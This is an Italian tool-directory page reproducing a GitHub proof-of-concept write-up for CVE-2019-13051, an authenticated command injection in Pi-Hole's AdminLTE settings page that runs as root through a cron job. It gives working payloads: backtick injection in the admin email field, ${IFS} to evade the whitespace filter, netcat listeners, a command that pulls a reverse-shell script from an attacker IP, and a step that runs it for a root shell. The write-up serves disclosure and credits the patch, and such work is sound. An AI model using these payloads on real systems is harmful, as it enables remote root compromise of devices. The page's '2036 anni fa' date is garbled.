Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-13051 | Kitploit
Strumenti/GitHubGitHub/pr0tean/cve-2019-13051
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Vedi Repository
2036 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pi-Hole < 4.3.2 Iniezione di Comandi e Escalation dei Privilegi (CVE-2019-13051)

La versione 4.3.2 di Pi-Hole contiene una patch per questa vulnerabilità: https://github.com/pi-hole/AdminLTE/pull/974

Un grande ringraziamento al team di sviluppo di Pi-Hole per il loro fantastico progetto e per aver reso così semplice segnalare questa vulnerabilità!

Sintesi esecutiva

È possibile ottenere da remoto l'accesso root sul dispositivo RaspberyPi (o su qualsiasi dispositivo/VM su cui l'applicazione è in esecuzione) attraverso le vulnerabilità descritte sul componente "AdminLTE". Per sfruttare questa vulnerabilità è richiesto l'accesso amministrativo/le credenziali dell'interfaccia web AdminLTE.

In maggiore dettaglio, è possibile bypassare i controlli delle espressioni regolari e compromettere il campo "Indirizzo e-mail dell'amministratore" con comandi arbitrari. Questi vengono a loro volta memorizzati in "/etc/pihole/setupVars.conf", che vengono successivamente analizzati ed eseguiti con privilegi root dal job cron.d di 10 minuti "/usr/local/bin/pihole updatechecker local".

Prerequisiti dell'attacco

  1. Connettività di rete all'applicazione web amministrativa Pi-Hole (AdminLTE).
  2. Un set di credenziali per l'applicazione web AdminLTE.

Limitazioni

Un attaccante deve attendere l'intervallo di 10 minuti del cron job "/etc/cron.d/pihole" per l'esecuzione di comandi/codice.

Descrizione tecnica

Si spera che i seguenti dettagli e la PoC aiutino nella validazione e riproduzione del problema.

Una volta autenticati nell'applicazione web, ci sono alcune validazioni lato server che un attaccante deve bypassare per iniettare con successo un comando.

In "savesettings.php" L:499 una variabile controllata dall'utente "$adminemail" viene valutata rispetto alla funzione PHP interna FILTER_VALIDATE_EMAIL, i cui controlli sono relativamente deboli.

È quindi possibile bypassare questo controllo di validazione e dimostrare l'iniezione di comandi semplicemente racchiudendo una serie di backtick tra doppi apici, ad esempio inserendo quanto segue come e-mail dell'amministratore:

"`test>/tmp/poc_proof.txt`"@example.com

Screenshot 1

Entro 10 minuti verrà creato un file di proprietà di root contenente "test" all'interno di "/tmp/poc_proof.txt" con privilegi di root.

Screenshot 2

Per eseguire ulteriori attacchi significativi, è inoltre necessario bypassare la limitazione degli spazi bianchi (che non sono caratteri e-mail validi e vengono intercettati dalla funzione FILTER_VALIDATE_EMAIL). A questo scopo è stata utilizzata la variabile interna di Linux ${IFS} (che nella maggior parte dei sistemi Unix ha come valore predefinito lo spazio bianco).

PoC:

*Nota: questo potrebbe essere automatizzato con una riga singola usando la grammatica della shell POSIX, ad esempio &&, || ...

  1. Assicurati di avere pronto il meccanismo di consegna dello script sulla tua macchina attaccante. Ad esempio, sulla macchina attaccante:

nc -nvlp 4444 < revshell.py

  1. Invia il 1° comando nel campo "Indirizzo e-mail dell'amministratore" per attivare il recupero e la memorizzazione di uno script Python di reverse shell in "/tmp/revshell.py":

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Screenshot 3

La richiesta HTTP apparirà così se esaminata con un proxy HTTP:

Screenshot 4

Attendi 10 minuti affinché il cron job venga eseguito e recupera lo script, oppure, per scopi di riproduzione, esegui manualmente /usr/local/bin/pihole updatechecker local. Puoi anche validare il comando iniettato presente in "/etc/pihole/setupVars.conf" (assegnato alla variabile ADMIN_EMAIL)

  1. Assicurati di avere pronto il tuo servizio di cattura della shell. Ad esempio, sulla macchina attaccante:

nc -nvlp 4445

  1. Infine, puoi inviare quanto segue:

“`python${IFS}/tmp/revshell.py`”@example.com

Ancora una volta attendi 10 minuti (o esegui manualmente lo script cron a scopo di riproduzione del problema) e otterrai una shell root sulla tua macchina attaccante.

Screenshot 1

Scarica lo strumento